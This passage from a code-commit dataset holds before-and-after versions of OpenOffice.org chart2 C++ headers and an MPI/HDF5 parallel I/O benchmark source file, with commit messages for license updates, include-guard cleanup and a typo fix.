{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: tp_LegendPosition.hxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 00:15:26 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _CHART2_TP_LEGENDPOSITION_HXX\n#define _CHART2_TP_LEGENDPOSITION_HXX\n\n\/\/ header for SfxTabPage\n#ifndef _SFXTABDLG_HXX\n#include <sfx2\/tabdlg.hxx>\n#endif\n\/\/ header for FixedText\n#ifndef _SV_FIXED_HXX\n#include <vcl\/fixed.hxx>\n#endif\n\n\/\/.............................................................................\nnamespace chart\n{\n\/\/.............................................................................\n\n\/*************************************************************************\n|*\n|* Legenden-Anordnungs-Tab-Page\n|*\n\\************************************************************************\/\nclass SchLegendPosTabPage : public SfxTabPage\n{\nprivate:\n    FixedLine   aGrpLegend;\n    RadioButton aRbtLeft;\n    RadioButton aRbtTop;\n    RadioButton aRbtBottom;\n    RadioButton aRbtRight;\n\npublic:\n    SchLegendPosTabPage(Window* pParent, const SfxItemSet& rInAttrs);\n    virtual ~SchLegendPosTabPage();\n\n    static SfxTabPage* Create(Window* pParent, const SfxItemSet& rInAttrs);\n    virtual BOOL FillItemSet(SfxItemSet& rOutAttrs);\n    virtual void Reset(const SfxItemSet& rInAttrs);\n};\n\n\/\/.............................................................................\n} \/\/namespace chart\n\/\/.............................................................................\n\n#endif\n\n<commit_msg>INTEGRATION: CWS chart2mst3 (1.2.4); FILE MERGED 2006\/01\/06 20:27:26 iha 1.2.4.3: added legendposition to wizard and restructured legend postiion control classes 2005\/10\/07 11:19:59 bm 1.2.4.2: RESYNC: (1.2-1.3); FILE MERGED 2004\/09\/07 10:04:06 bm 1.2.4.1: fixed order of members to fit order in dialog<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: tp_LegendPosition.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: vg $ $Date: 2007-05-22 17:46:03 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _CHART2_TP_LEGENDPOSITION_HXX\n#define _CHART2_TP_LEGENDPOSITION_HXX\n\n\/\/ header for SfxTabPage\n#ifndef _SFXTABDLG_HXX\n#include <sfx2\/tabdlg.hxx>\n#endif\n\/\/ header for FixedText\n#ifndef _SV_FIXED_HXX\n#include <vcl\/fixed.hxx>\n#endif\n\/\/for auto_ptr\n#include <memory>\n\n\/\/.............................................................................\nnamespace chart\n{\n\/\/.............................................................................\n\nclass LegendPositionResources;\nclass SchLegendPosTabPage : public SfxTabPage\n{\nprivate:\n    FixedLine   aGrpLegend;\n\n    ::std::auto_ptr< LegendPositionResources >   m_apLegendPositionResources;\n\npublic:\n    SchLegendPosTabPage(Window* pParent, const SfxItemSet& rInAttrs);\n    virtual ~SchLegendPosTabPage();\n\n    static SfxTabPage* Create(Window* pParent, const SfxItemSet& rInAttrs);\n    virtual BOOL FillItemSet(SfxItemSet& rOutAttrs);\n    virtual void Reset(const SfxItemSet& rInAttrs);\n};\n\n\/\/.............................................................................\n} \/\/namespace chart\n\/\/.............................................................................\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: NumberFormatterWrapper.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: vg $ $Date: 2007-05-22 18:26:48 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _CHART2_VIEW_NUMBERFORMATTERWRAPPER_HXX\n#define _CHART2_VIEW_NUMBERFORMATTERWRAPPER_HXX\n\n#ifndef _ZFORLIST_HXX\n#include <svtools\/zforlist.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_UTIL_XNUMBERFORMATSSUPPLIER_HPP_\n#include <com\/sun\/star\/util\/XNumberFormatsSupplier.hpp>\n#endif\n\n\/\/.............................................................................\nnamespace chart\n{\n\/\/.............................................................................\n\n\/\/-----------------------------------------------------------------------------\n\/**\n*\/\nclass FixedNumberFormatter;\n\nclass NumberFormatterWrapper\n{\npublic:\n    NumberFormatterWrapper( const ::com::sun::star::uno::Reference< ::com::sun::star::util::XNumberFormatsSupplier >& xSupplier );\n    virtual ~NumberFormatterWrapper();\n\n    SvNumberFormatter* getSvNumberFormatter() const;\n    ::com::sun::star::uno::Reference< com::sun::star::util::XNumberFormatsSupplier >\n                getNumberFormatsSupplier() { return m_xNumberFormatsSupplier; };\n\n    rtl::OUString getFormattedString( sal_Int32 nNumberFormatKey, double fValue, sal_Int32& rLabelColor, bool& rbColorChanged ) const;\n\nprivate: \/\/private member\n    ::com::sun::star::uno::Reference< com::sun::star::util::XNumberFormatsSupplier >\n                        m_xNumberFormatsSupplier;\n\n    SvNumberFormatter* m_pNumberFormatter;\n};\n\n\nclass FixedNumberFormatter\n{\npublic:\n    FixedNumberFormatter( const ::com::sun::star::uno::Reference< ::com::sun::star::util::XNumberFormatsSupplier >& xSupplier\n        , sal_Int32 nNumberFormatKey );\n    virtual ~FixedNumberFormatter();\n\n    rtl::OUString getFormattedString( double fValue, sal_Int32& rLabelColor, bool& rbColorChanged ) const;\n\nprivate:\n    NumberFormatterWrapper      m_aNumberFormatterWrapper;\n    ULONG                       m_nNumberFormatKey;\n};\n\n\/\/.............................................................................\n} \/\/namespace chart\n\/\/.............................................................................\n#endif\n<commit_msg>INTEGRATION: CWS changefileheader (1.4.126); FILE MERGED 2008\/04\/01 15:04:15 thb 1.4.126.3: #i85898# Stripping all external header guards 2008\/04\/01 10:50:30 thb 1.4.126.2: #i85898# Stripping all external header guards 2008\/03\/28 16:44:01 rt 1.4.126.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: NumberFormatterWrapper.hxx,v $\n * $Revision: 1.5 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#ifndef _CHART2_VIEW_NUMBERFORMATTERWRAPPER_HXX\n#define _CHART2_VIEW_NUMBERFORMATTERWRAPPER_HXX\n\n#include <svtools\/zforlist.hxx>\n#include <com\/sun\/star\/util\/XNumberFormatsSupplier.hpp>\n\n\/\/.............................................................................\nnamespace chart\n{\n\/\/.............................................................................\n\n\/\/-----------------------------------------------------------------------------\n\/**\n*\/\nclass FixedNumberFormatter;\n\nclass NumberFormatterWrapper\n{\npublic:\n    NumberFormatterWrapper( const ::com::sun::star::uno::Reference< ::com::sun::star::util::XNumberFormatsSupplier >& xSupplier );\n    virtual ~NumberFormatterWrapper();\n\n    SvNumberFormatter* getSvNumberFormatter() const;\n    ::com::sun::star::uno::Reference< com::sun::star::util::XNumberFormatsSupplier >\n                getNumberFormatsSupplier() { return m_xNumberFormatsSupplier; };\n\n    rtl::OUString getFormattedString( sal_Int32 nNumberFormatKey, double fValue, sal_Int32& rLabelColor, bool& rbColorChanged ) const;\n\nprivate: \/\/private member\n    ::com::sun::star::uno::Reference< com::sun::star::util::XNumberFormatsSupplier >\n                        m_xNumberFormatsSupplier;\n\n    SvNumberFormatter* m_pNumberFormatter;\n};\n\n\nclass FixedNumberFormatter\n{\npublic:\n    FixedNumberFormatter( const ::com::sun::star::uno::Reference< ::com::sun::star::util::XNumberFormatsSupplier >& xSupplier\n        , sal_Int32 nNumberFormatKey );\n    virtual ~FixedNumberFormatter();\n\n    rtl::OUString getFormattedString( double fValue, sal_Int32& rLabelColor, bool& rbColorChanged ) const;\n\nprivate:\n    NumberFormatterWrapper      m_aNumberFormatterWrapper;\n    ULONG                       m_nNumberFormatKey;\n};\n\n\/\/.............................................................................\n} \/\/namespace chart\n\/\/.............................................................................\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"h5test.h\"\n#include \"parallel_io.h\"\n#include \"comm.h\"\n#include \"cmdLineOptions.h\"\n#include <stdlib.h>\n#include <iostream>\n#include <string.h>\n#include \"measure.h\"\n#include \"t3pio.h\"\n\nstruct Var_t\n{\n  const char * name;\n  const char * descript;\n};\n\nVar_t varT[] =\n  {\n    {\"T\", \"Temp in K\"},\n    {\"p\", \"Pressure in N\/m^2\"},\n    {\"u\", \"X Velocity in m\/s\"},\n    {\"v\", \"Y Velocity in m\/s\"},\n    {\"w\", \"Z Velocity in m\/s\"},\n    {\"a\", \"A Velocity in m\/s\"},\n    {\"b\", \"B Velocity in m\/s\"},\n    {\"c\", \"C Velocity in m\/s\"},\n    {\"d\", \"D Velocity in m\/s\"},\n    {\"e\", \"E Velocity in m\/s\"},\n  };\n\nParallelIO::ParallelIO()\n  : m_t(0.0), m_rate(0.0), m_totalSz(1.0), m_nStripes(1),\n    m_nIOUnits(1), m_stripeSz(-1), m_numvar(1), m_aggregators(0),\n    m_dne_stripes(-1), m_auto_max_stripes(-1), m_stripesT3(-1)\n{}\n\n\n#ifndef USE_HDF5\nvoid ParallelIO::h5writer(CmdLineOptions& cmd)\n{\n  if (P.myProc == 0) \n    printf(\"This program requires HDF5 which is not available => quitting\\n\");\n}\n\nvoid ParallelIO::add_attribute(hid_t id, const char* descript, const char* value)\n{\n}\n\n#else\nvoid ParallelIO::h5writer(CmdLineOptions& cmd)\n{\n\n  hid_t   file_id;       \/\/file      identifier\n  hid_t   group_id;      \/\/group     identifier\n  hid_t   dset_id;       \/\/Dataset   identifier\n  hid_t   filespace;     \/\/Dataspace id in file\n  hid_t   memspace;      \/\/Dataspace id in memory.\n  hid_t   plist_id;      \/\/Property List id\n  hsize_t sz[1], gsz[1], starts[1], count[1], block[1], h5stride[1], rem;\n  hsize_t is, num;\n  int     ierr;\n  MPI_Comm commF;\n  H5FD_mpio_xfer_t  xfer_mode;   \/\/ HDF5 transfer mode (indep or collective)\n  const char * fn = \"UNSTRUCT.h5\";\n\n  \/\/ compute size info\n\n  rem = cmd.globalSz % P.nProcs;\n  if (P.myProc < rem)\n    is = P.myProc * cmd.localSz;\n  else\n    is = (cmd.localSz + 1)*rem + cmd.localSz*(P.myProc - rem);\n\n  double lSz     = 1.0;\n\n  m_numvar    = cmd.nvar;\n  num         = cmd.localSz;\n  lSz         = num;\n  count[0]    = 1;\n  h5stride[0] = 1;\n  starts[0]   = is;\n  sz[0]       = num;\n  gsz[0]      = cmd.globalSz;\n  m_totalSz   = cmd.globalSz*m_numvar*sizeof(double);\n\n  \n  int iTotalSz = m_totalSz\/(1024*1024);\n  \n\n  \/\/ Initialize data buffer\n  double xk = num*P.myProc;\n\n  double *data = new double[num];\n  for (int i = 0; i < num; ++i)\n    data[i] = xk++;\n\n\n  double t0, t1, t2;\n\n  \/\/ Delete old file\n  if (P.myProc == 0)\n    MPI_File_delete((char * )fn, MPI_INFO_NULL);\n  MPI_Barrier(P.comm);\n\n\n  \/\/ Build MPI info;\n  MPI_Info info  = MPI_INFO_NULL;\n  MPI_Info infoF = MPI_INFO_NULL;\n  \n  MPI_Info_create(&info);\n  MPI_Info_create(&infoF);\n\n\n  T3PIO_results_t results;\n\n  if (cmd.useT3PIO)\n    {\n      int ierr = t3pio_set_info(P.comm, info, \".\/\",\n                                T3PIO_GLOBAL_SIZE,         iTotalSz,\n                                T3PIO_STRIPE_COUNT,        cmd.stripes,\n                                T3PIO_STRIPE_SIZE_MB,      cmd.stripeSz,\n                                T3PIO_MAX_AGGREGATORS,     cmd.maxWriters,\n                                T3PIO_RESULTS,             &results);\n      m_nIOUnits         = results.numIO;\n      m_dne_stripes      = results.S_dne_stripes;\n      m_auto_max_stripes = results.S_auto_max_stripes;\n      m_nStripesT3       = results.nStripesT3;\n    }\n\n  xfer_mode = (cmd.collective) ? H5FD_MPIO_COLLECTIVE : H5FD_MPIO_INDEPENDENT;\n\n  t0 = walltime();\n\n  plist_id = H5Pcreate(H5P_FILE_ACCESS);\n  H5Pset_fapl_mpio(plist_id, P.comm, info);\n\n  \n  \/\/ Create file collectively\n  file_id = H5Fcreate(fn, H5F_ACC_TRUNC, H5P_DEFAULT, plist_id);\n\n  MPI_File* pFH = NULL;\n  ierr    = H5Fget_vfd_handle(file_id, H5P_DEFAULT, (void **) &pFH);\n  ierr    = MPI_File_get_info(*pFH, &infoF);\n\n  t3pio_extract_key_values(infoF, &results);  \n  m_aggregators = results.numIO;\n  m_nStripes    = results.numStripes;\n  m_stripeSz    = results.stripeSize;\n  H5Pclose(plist_id);\n\n  \/\/ Create Group\n  group_id = H5Gcreate(file_id, \"Solution\", H5P_DEFAULT, H5P_DEFAULT, H5P_DEFAULT);\n  \n  std::string timeZ, timeL;\n  dateZ(timeZ);\n  add_attribute(group_id,\"Zulu Time\", timeZ.c_str());\n\n  dateL(timeL);\n  add_attribute(group_id,\"Local Time\", timeL.c_str());\n\n\n  for (int ivar = 0; ivar < m_numvar; ++ivar)\n    {\n\n      \/\/ Create the dataspace for the dataset\n      filespace = H5Screate_simple(1, &gsz[0], NULL);\n      memspace  = H5Screate_simple(1, sz,      NULL);\n\n      if (cmd.h5chunk) \n        {\n          plist_id = H5Pcreate(H5P_DATASET_CREATE);\n          H5Pset_chunk(plist_id,1, sz);\n          \n          dset_id = H5Dcreate(group_id, varT[ivar].name, H5T_NATIVE_DOUBLE, filespace,\n                              H5P_DEFAULT, plist_id, H5P_DEFAULT);\n          H5Pclose(plist_id);\n          H5Sclose(filespace);\n            \n          filespace = H5Dget_space(dset_id);\n          H5Sselect_hyperslab(filespace, H5S_SELECT_SET, starts, h5stride, count, sz);\n        }\n      else if (cmd.h5slab)\n        {\n          \/\/ Create the dataset w\/ default properties and close filespace\n          dset_id = H5Dcreate(group_id, varT[ivar].name, H5T_NATIVE_DOUBLE, filespace,\n                              H5P_DEFAULT, H5P_DEFAULT, H5P_DEFAULT);\n          H5Sclose(filespace);\n  \n          \/\/ Select hyperslab in the file.\n          filespace = H5Dget_space(dset_id);\n          H5Sselect_hyperslab(filespace, H5S_SELECT_SET, starts, NULL, sz , NULL);\n        }\n\n      plist_id = H5Pcreate(H5P_DATASET_XFER);\n      H5Pset_dxpl_mpio(plist_id, xfer_mode);\n\n      add_attribute(dset_id, \"Variable Description\", varT[ivar].descript);\n\n      t1   = walltime();\n\n      herr_t status = H5Dwrite(dset_id, H5T_NATIVE_DOUBLE, memspace, filespace,\n                               plist_id, data);\n      t2   = walltime();\n      m_t += (t2 - t1);\n\n      H5Dclose(dset_id);\n      H5Sclose(filespace);\n      H5Sclose(memspace);\n      H5Pclose(plist_id);\n    }\n\n  m_totalTime = walltime() - t0;\n  m_rate      = m_totalSz \/(m_totalTime * 1024.0 * 1024.0);\n  free(data);\n  H5Gclose(group_id);\n  H5Fclose(file_id);\n  MPI_Info_free(&info);\n  MPI_Info_free(&infoF);\n}\n\nvoid ParallelIO::add_attribute(hid_t id, const char* descript, const char* value)\n{\n  hid_t attr_id, aspace_id, atype_id;\n  hsize_t attrlen, num[1];\n\n\n  attrlen = strlen(value);\n  num[0]  = 1;\n\n  atype_id = H5Tcopy(H5T_C_S1);\n  H5Tset_size(atype_id, attrlen);\n\n  aspace_id = H5Screate_simple(1,num, NULL);\n\n  attr_id   = H5Acreate(id, descript, atype_id, aspace_id, H5P_DEFAULT, H5P_DEFAULT);\n  H5Awrite(attr_id, atype_id, value);\n  H5Aclose(attr_id);\n  H5Sclose(aspace_id);\n}\n#endif\n\nvoid ParallelIO::MPIIOwriter(CmdLineOptions& cmd)\n{\n\n  MPI_File     fh;\n  MPI_Offset   is, rem, offset;\n  MPI_Datatype coreData, gblData, my_vector;\n  MPI_Status   status;\n  int          iTotalSz, ierr, nDim;\n  int          sz[2], gsz[2], starts[2];\n  const char*  fn = \"UNSTRUCT.mpiio\";\n\n  rem = cmd.globalSz % P.nProcs;\n  if (P.myProc < rem)\n    is = P.myProc * cmd.localSz;\n  else\n    is = (cmd.localSz + 1)*rem + cmd.localSz*(P.myProc - rem);\n  \n\n  m_numvar      = 1;\n  m_totalSz     = cmd.globalSz*m_numvar*sizeof(double);\n  iTotalSz      = m_totalSz\/(1024*1024);\n  int    num    = cmd.localSz;\n  double *data  = new double[num];\n  double xk     = is;\n\n  \n  for (int i = 0; i < num; ++i)\n    data[i] = xk++;\n\n  double t0, t1, t2;\n\n  \/\/ Delete old file\n  if (P.myProc == 0)\n    MPI_File_delete((char * )fn, MPI_INFO_NULL);\n  MPI_Barrier(P.comm);\n\n\n  \/\/ Build MPI info;\n  MPI_Info info  = MPI_INFO_NULL;\n  MPI_Info infoF = MPI_INFO_NULL;\n  MPI_Info_create(&info);\n  MPI_Info_create(&infoF);\n\n  T3PIO_results_t results;\n\n  if (cmd.useT3PIO)\n    {\n      int ierr = t3pio_set_info(P.comm, info, \".\/\",\n                                T3PIO_GLOBAL_SIZE,         iTotalSz,\n                                T3PIO_STRIPE_COUNT,        cmd.stripes,\n                                T3PIO_STRIPE_SIZE_MB,      cmd.stripeSz,\n                                T3PIO_MAX_AGGREGATORS,     cmd.maxWriters,\n                                T3PIO_RESULTS,             &results);\n      m_nIOUnits = results.numIO;\n    }\n\n  \/\/nDim = 1;\n  \/\/offset = is*sizeof(double);\n  \/\/ierr = MPI_Type_contiguous(num, MPI_DOUBLE, &my_vector);\n  \/\/ierr = MPI_Type_commit(&my_vector);\n  \/\/ierr = MPI_File_set_view(fh, offset, MPI_DOUBLE, my_vector, \"native\", info);\n\n  offset    = 0;\n  nDim      = 2;\n  sz[0]     = cmd.localSz\/cmd.xwidth;\n  sz[1]     = cmd.xwidth;\n  gsz[0]    = cmd.globalSz\/cmd.xwidth;\n  gsz[1]    = cmd.xwidth;\n  starts[0] = 0;\n  starts[1] = 0;\n    \n  ierr = MPI_Type_create_subarray(nDim, sz, sz, starts, MPI_ORDER_C, MPI_DOUBLE,\n                                  &coreData);\n  ierr = MPI_Type_commit(&coreData);\n  starts[0] = sz[0]*P.myProc;\n  ierr = MPI_Type_create_subarray(nDim, gsz, sz, starts, MPI_ORDER_C, MPI_DOUBLE,\n                                  &gblData);\n  ierr = MPI_Type_commit(&gblData);\n\n\n  t0 = walltime();\n  \n  ierr = MPI_File_open(P.comm, (char *) fn, MPI_MODE_WRONLY | MPI_MODE_CREATE, info, &fh);\n  if (ierr)\n    MPI_Abort(P.comm, -1);\n\n\n  ierr = MPI_File_get_info(fh, &infoF);\n  \n  t3pio_extract_key_values(infoF, &results);  \n  m_aggregators = results.numIO;\n  m_nStripes    = results.numStripes;\n  m_stripeSz    = results.stripeSize;\n\n  ierr = MPI_File_set_view(fh, offset, MPI_DOUBLE, gblData, \"native\", info);\n\n  ierr = MPI_File_write_all(fh, &data[0], 1, coreData, &status);\n  ierr = MPI_File_close(&fh);\n\n  m_totalTime = walltime() - t0;\n  m_rate      = m_totalSz\/(m_totalTime * 1024.0 * 1024.0);\n  MPI_Info_free(&info);\n  MPI_Info_free(&infoF);\n}\n\n<commit_msg>yet another typo<commit_after>#include \"h5test.h\"\n#include \"parallel_io.h\"\n#include \"comm.h\"\n#include \"cmdLineOptions.h\"\n#include <stdlib.h>\n#include <iostream>\n#include <string.h>\n#include \"measure.h\"\n#include \"t3pio.h\"\n\nstruct Var_t\n{\n  const char * name;\n  const char * descript;\n};\n\nVar_t varT[] =\n  {\n    {\"T\", \"Temp in K\"},\n    {\"p\", \"Pressure in N\/m^2\"},\n    {\"u\", \"X Velocity in m\/s\"},\n    {\"v\", \"Y Velocity in m\/s\"},\n    {\"w\", \"Z Velocity in m\/s\"},\n    {\"a\", \"A Velocity in m\/s\"},\n    {\"b\", \"B Velocity in m\/s\"},\n    {\"c\", \"C Velocity in m\/s\"},\n    {\"d\", \"D Velocity in m\/s\"},\n    {\"e\", \"E Velocity in m\/s\"},\n  };\n\nParallelIO::ParallelIO()\n  : m_t(0.0), m_rate(0.0), m_totalSz(1.0), m_nStripes(1),\n    m_nIOUnits(1), m_stripeSz(-1), m_numvar(1), m_aggregators(0),\n    m_dne_stripes(-1), m_auto_max_stripes(-1), m_nStripesT3(-1)\n{}\n\n\n#ifndef USE_HDF5\nvoid ParallelIO::h5writer(CmdLineOptions& cmd)\n{\n  if (P.myProc == 0) \n    printf(\"This program requires HDF5 which is not available => quitting\\n\");\n}\n\nvoid ParallelIO::add_attribute(hid_t id, const char* descript, const char* value)\n{\n}\n\n#else\nvoid ParallelIO::h5writer(CmdLineOptions& cmd)\n{\n\n  hid_t   file_id;       \/\/file      identifier\n  hid_t   group_id;      \/\/group     identifier\n  hid_t   dset_id;       \/\/Dataset   identifier\n  hid_t   filespace;     \/\/Dataspace id in file\n  hid_t   memspace;      \/\/Dataspace id in memory.\n  hid_t   plist_id;      \/\/Property List id\n  hsize_t sz[1], gsz[1], starts[1], count[1], block[1], h5stride[1], rem;\n  hsize_t is, num;\n  int     ierr;\n  MPI_Comm commF;\n  H5FD_mpio_xfer_t  xfer_mode;   \/\/ HDF5 transfer mode (indep or collective)\n  const char * fn = \"UNSTRUCT.h5\";\n\n  \/\/ compute size info\n\n  rem = cmd.globalSz % P.nProcs;\n  if (P.myProc < rem)\n    is = P.myProc * cmd.localSz;\n  else\n    is = (cmd.localSz + 1)*rem + cmd.localSz*(P.myProc - rem);\n\n  double lSz     = 1.0;\n\n  m_numvar    = cmd.nvar;\n  num         = cmd.localSz;\n  lSz         = num;\n  count[0]    = 1;\n  h5stride[0] = 1;\n  starts[0]   = is;\n  sz[0]       = num;\n  gsz[0]      = cmd.globalSz;\n  m_totalSz   = cmd.globalSz*m_numvar*sizeof(double);\n\n  \n  int iTotalSz = m_totalSz\/(1024*1024);\n  \n\n  \/\/ Initialize data buffer\n  double xk = num*P.myProc;\n\n  double *data = new double[num];\n  for (int i = 0; i < num; ++i)\n    data[i] = xk++;\n\n\n  double t0, t1, t2;\n\n  \/\/ Delete old file\n  if (P.myProc == 0)\n    MPI_File_delete((char * )fn, MPI_INFO_NULL);\n  MPI_Barrier(P.comm);\n\n\n  \/\/ Build MPI info;\n  MPI_Info info  = MPI_INFO_NULL;\n  MPI_Info infoF = MPI_INFO_NULL;\n  \n  MPI_Info_create(&info);\n  MPI_Info_create(&infoF);\n\n\n  T3PIO_results_t results;\n\n  if (cmd.useT3PIO)\n    {\n      int ierr = t3pio_set_info(P.comm, info, \".\/\",\n                                T3PIO_GLOBAL_SIZE,         iTotalSz,\n                                T3PIO_STRIPE_COUNT,        cmd.stripes,\n                                T3PIO_STRIPE_SIZE_MB,      cmd.stripeSz,\n                                T3PIO_MAX_AGGREGATORS,     cmd.maxWriters,\n                                T3PIO_RESULTS,             &results);\n      m_nIOUnits         = results.numIO;\n      m_dne_stripes      = results.S_dne_stripes;\n      m_auto_max_stripes = results.S_auto_max_stripes;\n      m_nStripesT3       = results.nStripesT3;\n    }\n\n  xfer_mode = (cmd.collective) ? H5FD_MPIO_COLLECTIVE : H5FD_MPIO_INDEPENDENT;\n\n  t0 = walltime();\n\n  plist_id = H5Pcreate(H5P_FILE_ACCESS);\n  H5Pset_fapl_mpio(plist_id, P.comm, info);\n\n  \n  \/\/ Create file collectively\n  file_id = H5Fcreate(fn, H5F_ACC_TRUNC, H5P_DEFAULT, plist_id);\n\n  MPI_File* pFH = NULL;\n  ierr    = H5Fget_vfd_handle(file_id, H5P_DEFAULT, (void **) &pFH);\n  ierr    = MPI_File_get_info(*pFH, &infoF);\n\n  t3pio_extract_key_values(infoF, &results);  \n  m_aggregators = results.numIO;\n  m_nStripes    = results.numStripes;\n  m_stripeSz    = results.stripeSize;\n  H5Pclose(plist_id);\n\n  \/\/ Create Group\n  group_id = H5Gcreate(file_id, \"Solution\", H5P_DEFAULT, H5P_DEFAULT, H5P_DEFAULT);\n  \n  std::string timeZ, timeL;\n  dateZ(timeZ);\n  add_attribute(group_id,\"Zulu Time\", timeZ.c_str());\n\n  dateL(timeL);\n  add_attribute(group_id,\"Local Time\", timeL.c_str());\n\n\n  for (int ivar = 0; ivar < m_numvar; ++ivar)\n    {\n\n      \/\/ Create the dataspace for the dataset\n      filespace = H5Screate_simple(1, &gsz[0], NULL);\n      memspace  = H5Screate_simple(1, sz,      NULL);\n\n      if (cmd.h5chunk) \n        {\n          plist_id = H5Pcreate(H5P_DATASET_CREATE);\n          H5Pset_chunk(plist_id,1, sz);\n          \n          dset_id = H5Dcreate(group_id, varT[ivar].name, H5T_NATIVE_DOUBLE, filespace,\n                              H5P_DEFAULT, plist_id, H5P_DEFAULT);\n          H5Pclose(plist_id);\n          H5Sclose(filespace);\n            \n          filespace = H5Dget_space(dset_id);\n          H5Sselect_hyperslab(filespace, H5S_SELECT_SET, starts, h5stride, count, sz);\n        }\n      else if (cmd.h5slab)\n        {\n          \/\/ Create the dataset w\/ default properties and close filespace\n          dset_id = H5Dcreate(group_id, varT[ivar].name, H5T_NATIVE_DOUBLE, filespace,\n                              H5P_DEFAULT, H5P_DEFAULT, H5P_DEFAULT);\n          H5Sclose(filespace);\n  \n          \/\/ Select hyperslab in the file.\n          filespace = H5Dget_space(dset_id);\n          H5Sselect_hyperslab(filespace, H5S_SELECT_SET, starts, NULL, sz , NULL);\n        }\n\n      plist_id = H5Pcreate(H5P_DATASET_XFER);\n      H5Pset_dxpl_mpio(plist_id, xfer_mode);\n\n      add_attribute(dset_id, \"Variable Description\", varT[ivar].descript);\n\n      t1   = walltime();\n\n      herr_t status = H5Dwrite(dset_id, H5T_NATIVE_DOUBLE, memspace, filespace,\n                               plist_id, data);\n      t2   = walltime();\n      m_t += (t2 - t1);\n\n      H5Dclose(dset_id);\n      H5Sclose(filespace);\n      H5Sclose(memspace);\n      H5Pclose(plist_id);\n    }\n\n  m_totalTime = walltime() - t0;\n  m_rate      = m_totalSz \/(m_totalTime * 1024.0 * 1024.0);\n  free(data);\n  H5Gclose(group_id);\n  H5Fclose(file_id);\n  MPI_Info_free(&info);\n  MPI_Info_free(&infoF);\n}\n\nvoid ParallelIO::add_attribute(hid_t id, const char* descript, const char* value)\n{\n  hid_t attr_id, aspace_id, atype_id;\n  hsize_t attrlen, num[1];\n\n\n  attrlen = strlen(value);\n  num[0]  = 1;\n\n  atype_id = H5Tcopy(H5T_C_S1);\n  H5Tset_size(atype_id, attrlen);\n\n  aspace_id = H5Screate_simple(1,num, NULL);\n\n  attr_id   = H5Acreate(id, descript, atype_id, aspace_id, H5P_DEFAULT, H5P_DEFAULT);\n  H5Awrite(attr_id, atype_id, value);\n  H5Aclose(attr_id);\n  H5Sclose(aspace_id);\n}\n#endif\n\nvoid ParallelIO::MPIIOwriter(CmdLineOptions& cmd)\n{\n\n  MPI_File     fh;\n  MPI_Offset   is, rem, offset;\n  